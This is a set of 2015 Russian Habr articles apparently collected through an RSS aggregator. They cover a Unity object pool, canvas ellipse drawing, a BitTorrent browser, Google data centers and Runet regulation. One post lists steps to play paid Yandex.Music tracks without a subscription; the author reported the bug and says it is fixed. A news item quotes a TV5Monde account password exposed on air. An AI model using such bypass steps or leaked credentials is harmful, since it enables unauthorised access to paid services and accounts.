Возможно, вы заметили, что минимальная ширина фактически равна 100, а не 0, а максимальная ширина – на 100 больше, чем вы ожидали. Это потому, что плавающий фрейм с шириной равной 0 не будет отображать какой-либо контент (потому что он 0 пикселей в ширину!), поэтому нам нужно выделить определенное пространство, где будут отображаться цифры.


Все это приведет к появлению определенного количества фреймов, которое отображает ширину документа, а протестировать это вы можете тут. Обратите внимание, что он на 100 пикселей меньше ширины вашего окна, и работает только в браузерах, которые поддерживают calc()).


Отлично! Теперь у нас есть работающий калькулятор! Я упоминал, что существуют и другие ограничения. Неудивительно, что ширина документа / свойство css имеет максимальное значение, и такое максимальное значение, которое можно вычислить, равно:


— Firefox 17895698

— Internet Explorer 1533816


Поэтому, даже если бы мы имели возможность ввести более двух знаков во втором числе, используя этот метод для умножения мы бы очень быстро дошли до такого предельного значения свойства.


Кроме того, как вы и ожидали, тут не принимаются и не отображаются какие-либо дробные части (при делении они просто округляются), и нельзя ввести отрицательное значение (при этом я не вижу проблем в том, чтобы это исправить).


Работая над этой проблемой, я столкнулся с интересной утечкой памяти в IE при использовании плавающих фреймов и медиа-запросов, что приводит к зависанию браузера на нескольких строках CSS и HTML.


Полезные решения Paysto для читателей Хабра:

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[recovery mode] Pool объектов для Unity3d

Все знают что операции создания и удаления объектов не дешевые. Например создавать каждый раз пулю и уничтожать, довольно накладно для тех же мобильных устройств. Может стоит не уничтожать пулю, а скрывать ее. Вот решил поделится своей реализацией Pool Manager. Который использую в разных проектах, в том числе и на photon server.



Структуры




Для начала, нужно создать интерфейс:

public interface IPoolObject<T>
{
T Group { get; }
void Create();
void OnPush();
void FailedPush();
}




Где метод Create() будет играть роль псевдо-конструктора. Ведь когда вы достанете объект из пула, его состояние будет не определено, что может пагубно отразится на дальнейшем его использовании.

Теперь сам Pool Manager



using System.Collections.Generic;
using System;

public class PoolManager<K, V> where V :IPoolObject<K>
{
public virtual int MaxInstances { get; protected set; }
public virtual int InctanceCount { get { return objects.Count; } }
public virtual int CacheCount { get { return cache.Count; } }

public delegate bool Compare<T>(T value) where T: V;

protected Dictionary<K, List<V>> objects;
protected Dictionary<Type, List<V>> cache;

public PoolManager(int maxInstance)
{
MaxInstances = maxInstance;
objects = new Dictionary<K, List<V>>();
cache = new Dictionary<Type, List<V>>();
}

public virtual bool CanPush()
{
return InctanceCount + 1 < MaxInstances;
}

public virtual bool Push(K groupKey, V value)
{
bool result = false;
if (CanPush())
{
value.OnPush();
if (!objects.ContainsKey(groupKey))
{
objects.Add(groupKey, new List<V>());
}
objects[groupKey].Add(value);
Type type = value.GetType();
if (!cache.ContainsKey(type))
{
cache.Add(type, new List<V>());
}
cache[type].Add(value);
}
else
{
value.FailedPush();
}
return result;
}

public virtual T Pop<T>(K groupKey) where T : V
{
T result = default(T);
if (Contains(groupKey) && objects[groupKey].Count > 0)
{
for (int i = 0; i < objects[groupKey].Count; i++)
{
if (objects[groupKey][i] is T)
{
result = (T)objects[groupKey][i];
Type type = result.GetType();
RemoveObject(groupKey, i);
RemoveFromCache(result, type);
result.Create();
break;
}
}
}
return result;
}

public virtual T Pop<T>() where T: V
{
T result = default(T);
Type type = typeof(T);
if (ValidateForPop(type))
{
for (int i = 0; i < cache[type].Count; i++)
{
result = (T)cache[type][i];
if (result != null && objects.ContainsKey(result.Group))
{
objects[result.Group].Remove(result);
RemoveFromCache(result, type);
result.Create();
break;
}

}
}
return result;
}

public virtual T Pop<T>(Compare<T> comparer) where T : V
{
T result = default(T);
Type type = typeof(T);
if (ValidateForPop(type))
{
for(int i = 0; i < cache[type].Count; i++)
{
T value = (T)cache[type][i];
if (comparer(value))
{
objects[value.Group].Remove(value);
RemoveFromCache(result, type);
result = value;
result.Create();
break;
}

}
}
return result;
}


public virtual bool Contains(K groupKey)
{
return objects.ContainsKey(groupKey);
}

public virtual void Clear()
{
objects.Clear();
}

protected virtual bool ValidateForPop(Type type)
{
return cache.ContainsKey(type) && cache[type].Count > 0;
}

protected virtual void RemoveObject(K groupKey, int idx)
{
if (idx >= 0 && idx < objects[groupKey].Count)
{
objects[groupKey].RemoveAt(idx);
if (objects[groupKey].Count == 0)
{
objects.Remove(groupKey);
}
}
}

protected void RemoveFromCache(V value, Type type)
{
if (cache.ContainsKey(type))
{
cache[type].Remove(value);
if (cache[type].Count == 0)
{
cache.Remove(type);
}
}
}
}


На что стоит обратить внимание.

MaxInstances — поле максимального количества pool объектов. В случае, если не возможно поместить в пул очередной объект, сам объект вывозит метод FailedPush();

OnPush() — непосредственно перед попаданием в пул.

Create() — перед тем, как пул вернет нам экземпляр.


Общий Pool готов. Теперь нужно сделать вариацию для Unity3d. Приступим



using UnityEngine;
using System.Collections;

public class UnityPoolManager : MonoBehaviour
{
public static UnityPoolManager Instance {get; protected set;}

public int maxInstanceCount = 128;

protected PoolManager<string, UnityPoolObject> poolManager;


protected virtual void Awake()
{
Instance = this;
poolManager = new PoolManager<string, UnityPoolObject>(maxInstanceCount);
}


public virtual bool CanPush()
{
return poolManager.CanPush();
}

public virtual bool Push(string groupKey, UnityPoolObject poolObject)
{
return poolManager.Push(groupKey, poolObject);
}

public virtual T PopOrCreate<T>(T prefab) where T : UnityPoolObject
{
return PopOrCreate(prefab, Vector3.zero, Quaternion.identity);
}

public virtual T PopOrCreate<T>(T prefab, Vector3 position, Quaternion rotation) where T : UnityPoolObject
{
T result = poolManager.Pop<T>(prefab.Group);
if (result == null)
{
result = CreateObject<T>(prefab, position, rotation);
}
else
{
result.SetTransform(position, rotation);
}
return result;
}

public virtual UnityPoolObject Pop(string groupKey)
{
return poolManager.Pop<UnityPoolObject>(groupKey);
}

public virtual T Pop<T>() where T : UnityPoolObject
{
return poolManager.Pop<T>();
}

public virtual T Pop<T>(PoolManager<string, UnityPoolObject>.Compare<T> comparer) where T : UnityPoolObject
{
return poolManager.Pop<T>(comparer);
}

public virtual T Pop<T>(string groupKey) where T : UnityPoolObject
{
return poolManager.Pop<T>(groupKey);
}

public virtual bool Contains(string groupKey)
{
return poolManager.Contains(groupKey);
}

public virtual void Clear()
{
poolManager.Clear();
}

protected virtual T CreateObject<T>(T prefab, Vector3 position, Quaternion rotation) where T : UnityPoolObject
{
GameObject go = Instantiate(prefab.gameObject, position, rotation) as GameObject;
T result = go.GetComponent<T>();
result.name = prefab.name;
return result;
}
}




По сути это просто обвертка над первым пулом и Сингелтон.

PopOrCreate() — нам понадобится вот этот метод для создания объектов.

Push() — у самих пул объектов или Push в менеджере.

Теперь нам понадобится сам GameObject



using UnityEngine;
using System.Collections;

public class UnityPoolObject : MonoBehaviour, IPoolObject<string>
{
public virtual string Group { get {return name;} }
public Transform MyTransform { get { return myTransform; } }

protected Transform myTransform;

protected virtual void Awake()
{
myTransform = transform;
}

public virtual void SetTransform(Vector3 position, Quaternion rotation)
{
myTransform.position = position;
myTransform.rotation = rotation;
}

public virtual void Create()
{
gameObject.SetActive(true);
}

public virtual void OnPush()
{
gameObject.SetActive(false);
}

public virtual void Push()
{
UnityPoolManager.Instance.Push(Group, this);
}

public void FailedPush()
{
Debug.Log("FailedPush"); // !!!
Destroy(gameObject);
}
}





Все объекты будем наследовать от него.

FailedPush() — стоит обратить внимание на этот метод. Возможно вы захотите бросать исключение, мол пул забит или что-то еще.

Теперь перейдем к использованию. На примере пули следов и UI List item.



public class Bullet : UnityPoolObject
{
...
}
// создание
Bullet bullet = UnityPoolManager.Instance.PopOrCreate<Bullet>(bulletPrefab, bulletPoint.position, Quaternion.identity);
bullet.Execute(sender, bulletPoint.position, CalculateTarget(target, accuracy01), damage, blockTime, range, bulletSpeed);
// уничтожение, точней возращаем в пул
timer-= Time.deltaTime;
if (timer< 0)
{
Push();
}



public class StepObject : UnityPoolObject
{
...
}

/// ---
StepObject stepObject = UnityPoolManager.Instance.PopOrCreate<StepObject>(prefab, sender.position, sender.rotation);
FXManager.Instance.InitDecal(null, stepObject.gameObject, hit, direction);
stepObject.MyTransform.rotation *= rotation;
StartCoroutine(ApplyDecalC(stepObject));
/// ---
protected virtual IEnumerator ApplyDecalC(StepObject decalObject)
{
yield return new WaitForSeconds(waitTime);
yield return StartCoroutine(FXManager.Instance.HideOjectC(decalObject.gameObject, hideTime));
decalObject.Push();
}



public class ProfileListItem : UnityPoolObject
{
...
}
// ---
ProfileListItem profileItem = UnityPoolManager.Instance.PopOrCreate(prefab);

...
profileItem.profileId = profileId;
list.AddItem(profileItem);

// ----


Надеюсь данный пример поможет вам в написании своих проектов на Unity3d.


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Французский телеканал был взломан после интервью сотрудника на фоне стикеров с паролями

Вот уже несколько дней развивается история со взломом внутренней сети и аккаунтов в социальных сетях французского телеканала TV5Monde, работа которого на некоторое время была просто парализована в результате деятельности хакеров, причисляющих себя к сторонникам Исламского государства. Были выведены из строя служебные серверы, отвечающие за обработку электронной почты, видеомонтаж, трансляцию сигнала.


Нападение на ресурсы TV5 Monde анонимные взломщики начали в среду вечером около 22:00 по Парижу(/23:00 мск), вскрыв защиту официального сайта телеканала и его страниц в социальных сетях. Ближе к полуночи было прервано и телевещание — канал пропал из эфира, вместо изображения на несколько часов на частотах TV5 Monde был черный экран без звука, изредка переключавшийся на заставку с логотипом канала.

Некоторое время в аккаунте TV5 Monde в Facebook можно было наблюдать фотографии людей в черной одежде и арабских платках с подписью «Киберхалифат» и «Я — ИГ». Среди сообщений были опубликованы угрозы в адрес французских военнослужащих, участвующих в операциях против исламистов в Африке и на Ближнем Востоке.

Как признал генеральный директор компании Ив Биго, в течение нескольких часов специалисты были «не в состоянии передавать сигнал ни по одному из каналов». «Постепенно мы начинаем восстанавливать вещание в ряде регионов, — сообщил он агентству France-Presse. — Наши системы крайне серьезно пострадали, речь идет об атаке невиданной мощности. На полное восстановление уйдут многие часы, если не дни». ТАСС



Чуть позднее стали выяснятся интересные подробности, свидетельствующие о том, что отправной точкой для атаки на TV5Monde могло стать интервью с репортером Дэвидом Делосом, где невольно засветили по крайней мере один пароль компании в социальных сетях. Дело в том, что он был снят на фоне стола сотрудника бюро, который буквально утопал в стикерах с паролями к учетным записям канала в популярных социалках.




В сюжет попали имена пользователя и пароли для официальных аккаунтов Twitter и Instagram телеканала, но их было слишком трудно разобрать на записи в официальном архиве передач. Однако, на YouTube качество видео оказалось лучше, что, судя по всему, и позволило злоумышленникам подобрать верный пароль. Пользователь Twitter pent0thal подтвердил, что выведенный на экран пароль учетной записи был «lemotdepassedeyoutube», который можно перевести с французского как «пароль от YouTube».


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Project Maelstrom вышел в публичную бету


Анонсированный в прошлом году компанией Bittorrent Inc. браузер нового поколения вышел на стадию публичного бета-тестирования.


Project Maelstrom — браузер, основанный на протоколе bittorrent, позволяющий за считанные минуты опубликовать статический контент в сети в виде привычного торрента. Первая публичная бета собрана в 32-битном варианте, пока только для Windows, в скором времени обещают сборку под MacOS.


С первого взгляда на интерфейс видно, что за основу взят популярный движок Chromium, довольно старой, 37-й версии (сентябрь 2014).


На главной показан счётчик, который в реальном времени отображает количество людей «хостящих» текущую страницу. Поначалу кажется, что счётчик фиктивный и красуется только для привлечения внимания, но открыв Инструменты разработчика на вкладке Сеть, можно увидеть живой Json, отдающий количество сидов, пиров, скорость отдачи и приёма.


Чуть ниже на главной странице браузера есть тестовые magnet-ссылки на torrent-файлы. В случае клика по ссылке, браузер задумывается на несколько секунд, сообщает, что ищет пиров, а потом довольно шустро открывает саму страницу. Ссылка в адресной строке принимает вид http://bittorrent<HASH>/<PATH>. Помимо данного формата, Maelstrom также понимает magnet-ссылки и простые http-ссылки на torrent-файлы. Попытка открыть magnet главной страницы в обычном торрент-клиенте почему-то провалилась — мета-данные получить не может. А некоторые хеши вообще в DHT не видит.


Сам Хромиум, конечно, не умеет bittorrent. Он, по сути, является оболочкой для клиента µTorrent, скрывающегося под именем «chrome.native.torrent.exe», который стартует вместе с браузером и не сильно то старается завершиться после завершения браузера — остаётся «раздавать интернет».


Настройки




Помимо стандартного интерфейса хрома, разработчики вывели настройки µTorrent: размер хранилища для раздач (5Гб по умолчанию), количество одновременных активных торрентов (от 0 до 256, по умолчанию 8), ограничение скорости приёма/отдачи, а также трафика за определённый промежуток времени, настройки прокси, краш-репортов и порт торрент-клиента, по которому происходит общение с браузером:

Окно настроек





Раздачи




Графического интерфейса для создания раздач пока нет — всё делается специальным оптимизирующим скриптом на Питоне. Суть его оптимизаций заключается в упорядочивании последовательности скачивания файлов, например, index.html должен грузиться первым. Плюс к этому — устанавливается фиксированный размер порции данных торрента в 16кб, т.к. слишком большой размер может повлиять на скорость загрузки сайта.

Начальное сидирование сайта нужно стартовать в самом обычном µTorrent или Bittorrent клиентах. С другими могут не работать magnet-ссылки — предупреждают разработчики.


Общие впечатления




В общем интересная задумка, громкий пиар и довольно наколеночная реализация.

По сути взят готовый торрент-клиент, на него через API навешен браузер в виде Хромиума, никаких удобных инструментов нет.

Можно надеяться, что это всего лишь бета, и в относительно скором времени появится что-то более-менее интересное, например, аналог DNS.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


пятница, 10 апреля 2015 г.

Google открыл новый дата-центр ценой в $600 млн


Корпорация Google открыла новый дата-центр в Орегоне, при этом общая площадь дата-центра составляет 15240 м2. Ранее компания заявляла, что общая сумма средств, вложенных в строительство нового дата-центра, составляет $600 млн. Новым домом для серверов корпорации стал город Даллес.


Стоит отметить, что именно в этом городе был построен первый большой дата-центр корпорации, который открылся в 2006 году. С тех пор строительство дата-центров для своих нужд стало неотъемлемой чертой ведения бизнеса для компании, количество пользователей которой все время увеличивается. Gmail, Google Drive, YouTube и другие сервисы компании требуют все новых мощностей, и корпорация старается вовремя увеличивать мощности своих ДЦ, а также строить новые.



Корпорация выбрала штат Орегон, как место с относительно недорогой энергией и очень благоприятной налоговой политикой. В штате не взимают налоги с подавляющего числа видов оборудования (стоимостью в сотни миллионов долларов в случае Google), которое устанавливается в ДЦ. Поэтому компания экономит значительные средства, строя новые ДЦ в Орегоне.


Стоит отметить, что в дата-центрах корпорации работает не так много человек, поскольку практически все процессы автоматизированы. Кроме того, операции, которые нуждаются в операторе, могут выполняться удаленно. Согласно данным Даллеса, в дата-центре Google здесь работает около 175 человек (включая вспомогательный персонал).


image

Первый дата-центр Google в Орегоне, вид изнутри


По соглашению с местными властями, корпорация выплачивает дополнительные средства городу. Так, согласно договору, корпорация заплатила $1.2 млн городу, округу и местному школьному округу. Таким образом, у города появляются дополнительные фонды, и логично, что власти охотно идут на сотрудничество с компанией. В следующем году корпорация заплатит местным властям около $800000 — теперь эта сумма будет выплачиваться ежегодно.


Планы по созданию нового дата-центра были озвучены прошлой осенью, когда законодатели штата постановили взимать с компаний-владельцев дата-центров особый налог, снимающий часть налоговой нагрузки.


Теперь и другие компании, включая Apple, Amazon, заявили о намерении расширять существующие дата-центры в Орегоне, и создавать новые. Но Google успел первым, договорившись с властями еще в прошлом году.


Корпорация собирается арендовать дополнительное помещение площадью в 1,5 тысяч м2 для небольшой команды инженеров, работающей в Портленде. Таким образом, корпорация расширит и свой офис и даст своей команде больше рабочего пространства. Возможно, вскоре в регионе начнет работать и проект Google Fiber. Подробности сейчас оговариваются с местными властями. А закон, который снимет часть налоговой нагрузки с проекта, уже одобрен сенатом штата, и ожидает подписания губернатором.


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Дайджест регулирования Рунета №1


Приветствую всех читателей. В начале месяца я опубликовал небольшой комментарий с мини-обзором последних тенденций наших законодателей (и не только) в сфере регулирования Интернета в России. Сегодня я публикую обзор новостей из мира регулирования Интернета в России. Будет интересно!


image Наши аккаунты Google уже уже на площадке Ростелекома


Google уже хранит свои данные в российских дата-центрах, в частности, в тех, которые принадлежат «Ростелекому». Ebay тоже планирует перенос своих данных в Россию. Этого требует закон о персональных данных, который вступит в силу через пять месяцев.


image Мемы — это противоправная информация по версии Роскомнадзора


Роскомнадзор нашёл ещё один повод для блокировки популярной Интернет-энциклопедии Луркоморье. От имени певца они подали в суд и сообщили, что использование фото публичного лица в качестве олицетворения популярного интернет-мема, не имеющего отношения к личности «селебрити» нарушает требования законодательства о персональных данных и порочат честь, достоинство и деловую репутацию публичных лиц.


image В Twitter существует плотно связанная сеть аккаунтов, продвигающих «прокремлевскую» повестку





Сайт Global Voices опубликовал исследование известного интернет-аналитика Лоренса Александера, исследовавшего связи и профили Twitter-аккаунтов, распространявших, по его мнению, «прокремлевскую» информационную повестку, или так называемых «кремлеботов». Недавно Новая Газета уже второй раз писала о компании ООО «Интернет-исследования» в Санкт-Петербурге, где уже работают живые люди, которые делают аналогичную работу.


image Генпрокуратура хочет расширить возможности по блокировке сайтов




Генпрокуратура хочет расширить свои полномочия по досудебной блокировке сайтов, содержащих экстремистский контент.

Там считают, что в последнее время «агитация и пропаганда экстремизма и терроризма» в интернете чаще выражается в форме пропаганды и оправдания, тогда как законодательство допускает досудебную блокировку только за распространение призывов к беспорядкам, осуществлению экстремистской деятельности и участию в несогласованных акциях.

Право блокировать ресурсы с призывами к массовым беспорядкам они хотят дать (сейчас этот может делать Генпрокурор) его заместителям и региональным прокурорам. Кроме того, Генпрокуратура предлагает ввести внесудебную блокировку сбора средств на экстремистскую и террористическую деятельность — пока можно блокировать лишь интернет-ресурсы с банковскими реквизитами, но не сами счета.

image Тесная работа Администрации Президента с Роскомнадзором





Хакеры из группы «Анонимный интернационал» («Шалтай-болтай») опубликовали SMS-переписку за 2011-2014 годы, предположительно, принадлежащую замглавы управления внутренней политики администрации президента Тимура Прокопенко.


Если верить архиву «Шалтая-болтая», то замруководителя Роскомнадзора Максим Ксензов постоянно советовался с Прокопенко по вопросам вынесения предупреждений. В частности, они переписывались о постах Алексея Навального и материале «Би-би-си» о марше за федерализацию Сибири.


Прокопенко, согласно SMS, также вел переписку с главой Роскомнадзора Алексеем Жаровым, хотя и не так часто, как с Ксензовым. В частности, «Жаров» согласовывал решение по поводу групп украинских националистов «Вконтакте» и жаловался на основателя соцсети Павла Дурова, который отказывался блокировать группы.


image Полный контроль DNS




В апреле министр связи Николай Никифоров выступит в правительстве с докладом, посвященным суверенитету российского интернета. Никифоров предложит правительству ряд мер, цель которых – защитить рунет от внешних атак и сделать так, чтобы государство могло более серьезно регулировать эту сферу. Основная мера — это создание национальных серверов DNS для всех зон Интернета.

Присоединяйтесь к нашему репозитарию на GitHub


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[Из песочницы] Как студент баг в Яндекс.Музыке нашел

Сервис Яндекс.Музыка появился на свет уже довольно давно, как и его приложения в AppStore и GooglePlay, но только совсем недавно он был выпущен на платформу Windows Phone.

Честно скажу, загрузил я его ради праздного любопытства, так как слушать музыку Вконтакте удобнее, а самое главное — бесплатно. Дело было вечером, делать было нечего, и я решил потыкаться в новое приложение. Визуальное исполнение приятно удивило: все в лучших традициях крупнейших IT корпораций.


«В чем же заключается сам баг», — спросите вы. А я отвечу: в версии на Windows Phone можно слушать любую песню любого исполнителя абсолютно бесплатно, в обход подписки. Алгоритм действий, на самом деле, очень прост:



1. Заходим в приложение и включаем любую бесплатную подборку музыки.

2. Открываем поиск и ищем любую песню любого исполнителя.

3. Нажимаем на нее, появляется окно с требованием о необходимости подписки, нажимаем «отмена».

4. Жмем клавишу громкости, появляется окно с названием играющего трека и кнопками «вперед\назад\пауза».

5. Нажимаем «вперед» или «назад».


В итоге, включается песня следующая или предыдущая от той, на которой появилось окно о подписке. И далее, нажимая клавиши «вперед\назад», можно перемещаться по «подписочному» плейлисту совершенно бесплатно.




Я отправил эту информацию в Яндекс (версия 1.0). Практически через день вышла новая версия, в которой на данный момент (версия 1.10) эта уязвимость не была исправлена. В качестве награды мне предложили всего месяц бесплатной подписки на сервис, которой я успешно не захотел воспользоваться.


UPD:: На данный момент уязвимость исправлена.


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Рисование эллипса под произвольным углом в canvas на JavaScript

В процессе разработки одного приложения столкнулся с необходимостью рисования эллипсов под произвольным углом в canvas на JavaScript. Пользоваться какими-либо фреймворками в столь простом проекте не хотелось, так что я отправился на поиски статьи-мануала на эту тему. Поиски не увенчались успехом, так что пришлось разбираться с задачей самостоятельно, и я решил поделиться с вами полученным опытом.Формализуем задачу. Нам требуется функция drawEllipse(coords, sizes, vector), где:

  • coords — координаты центра эллипса — массив [x, y]

  • sizes — длины большой и малой полуосей эллипса — массив [a, b]




В качестве основного средства для решения задачи были выбраны кривые Безье. Для построения такой кривой требуются четыре точки: начальная, конечная и две контрольные.


Наш искомый эллипс будет состоять из двух таких кривых, причем нетрудно догадаться, что вышеупомянутые точки у каждой из них будут вершинами прямоугольника. Попробуем построить наш эллипс.




  1. Имеем некоторый вектор

    Найдем единичный вектор





    Найдем единичный вектор

    Для этого вспомним свойство скалярного произведения векторов обращаться в ноль в случае, если они перпендикулярны:

    Таким образом:

  2. Найдем векторы , точки A1, A2, B1, B2












  3. Найдем векторы , точки C1, C2, C3, C4












  4. Вспомним, что для рисования эллипса нам нужны две кривые Безье:


    • 1-я имеет начальную точку B1, конечную B2, проходит через точку A1

    • 2-я имеет начальную точку B2, конечную B1, проходит через точку A2


    Вспомним также, что для построения кривых Безье нам требуются контрольные точки. Недолго думая, я сначала подставил в качестве таковых вершины прямоугольника, в который вписан эллипс. Это решение оказалось ошибкой, ведь если мы рассмотрим построение кривой Безье, то обнаружим, что она не касается отрезка, соединяющего две контрольные точки.

    Изобразим момент построения кривой Безье в точке, в которой она (кривая) будет наиболее близка к отрезку между контрольными точками. В нашем случае это будет выглядеть так:


    Из рисунка очевидно, что расстояние от этой точки (A1) до отрезка между контрольными точками (C1, C2) будет составлять четверть от расстояния между центром искомого эллипса (O) и тем же отрезком (C1, C2), то есть:




  5. Решим уравнение





    Таким образом, для получения эллипса с нужными параметрами нам необходимо умножить вектор на параметр , после чего вернуться к вычислениям, описанным в пунктах 1-4. В результате получаем наборы точек (B1, C1, C2, B2 и B2, C3, C4, B1 ) для построения двух кривых Безье, вместе представляющих искомую фигуру.








Собственно демо и код:

function drawEllipse(ctx, coords, sizes, vector) {
var vLen = Math.sqrt(vector[0]*vector[0]+vector[1]*vector[1]); // вычисляем длину вектора
var e = [vector[0]/vLen, vector[1]/vLen]; // единичный верктор e || vector
var p = 4/3; // параметр

var a = [e[0]*sizes[0]*p, e[1]*sizes[0]*p]; // находим вектор a, используя параметр
var b = [e[1]*sizes[1], -e[0]*sizes[1]]; // находм вектор b
// находим точки A1, B1, A2, B2
var dotA1 = [coords[0]+a[0], coords[1]+a[1]];
var dotB1 = [coords[0]+b[0], coords[1]+b[1]];
var dotA2 = [coords[0]-a[0], coords[1]-a[1]];
var dotB2 = [coords[0]-b[0], coords[1]-b[1]];

// находим вектора c1, c2
var c1 = [a[0]+b[0], a[1]+b[1]];
var c2 = [a[0]-b[0], a[1]-b[1]];
// находим точки C1, C2, C3, C4
var dotC1 = [coords[0]+c1[0], coords[1]+c1[1]];
var dotC2 = [coords[0]+c2[0], coords[1]+c2[1]];
var dotC3 = [coords[0]-c1[0], coords[1]-c1[1]];
var dotC4 = [coords[0]-c2[0], coords[1]-c2[1]];

// рисуем наш эллипс
ctx.strokeStyle = 'black';
ctx.beginPath();
ctx.moveTo(dotB1[0], dotB1[1]); // начальная точка
ctx.bezierCurveTo(dotC1[0], dotC1[1], dotC2[0], dotC2[1], dotB2[0], dotB2[1]); // рисуем кривую Безье
ctx.bezierCurveTo(dotC3[0], dotC3[1], dotC4[0], dotC4[1], dotB1[0], dotB1[1]); // и вторую из точки, где закончили рисовать первую
ctx.stroke();
ctx.closePath();

// возвращаем вектору a изначальную длину
var a = [e[0]*sizes[0], e[1]*sizes[0]];

// отрисовываем красным отрезки от ближайших друг к другу и наиболее далеких друг от друга точек эллипса, чтобы проверить, правильно ли мы отобразили запрошенный эллипс
ctx.beginPath();
ctx.moveTo(coords[0]+a[0], coords[1]+a[1]);
ctx.lineTo(coords[0]-a[0], coords[1]-a[1]);
ctx.moveTo(coords[0]+b[0], coords[1]+b[1]);
ctx.lineTo(coords[0]-b[0], coords[1]-b[1]);
ctx.strokeStyle = 'red';
ctx.stroke();
ctx.closePath();
}




This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.